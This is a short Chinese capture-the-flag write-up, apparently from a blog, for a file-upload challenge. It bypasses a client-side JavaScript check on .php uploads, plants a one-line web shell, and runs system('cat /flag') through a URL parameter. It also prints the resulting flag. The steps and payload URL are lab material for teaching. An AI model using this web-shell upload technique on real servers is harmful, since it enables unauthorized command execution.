本文通过一个Linux上的文件上传案例，探讨了如何禁用JavaScript绕过限制，成功上传文件并获取flag。作者强调了网络安全工程师自我提升的重要性，并分享了一套全面的网络安全学习资源，覆盖从入门到进阶的多个层次，旨在帮助程序员持续学习和成长。此外，作者邀请同行加入技术交流圈子，共同进步。
3.发现报错，不允许上传.php文件。
4.查看源码，禁用JavaScript ，并删除该内容。
注：禁用 JavaScript 可使用插件
5.文件上传成功，访问路径。
6.获取 flag , 修改后的一句话木马，可直接访问以下 url 获取 flag
http://e24d2149-d2bd-41e0-8d4a-697f1cfb6a9e.node5.buuoj.cn:81/upload/upfile.php?upfile=system(“cat /flag”);
flag{17cbbe6d-8422-44a3-a2db-17d3eee8d502}
870
1102
953
5195
1551
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
最低0.47元/天 解锁文章
扫一扫
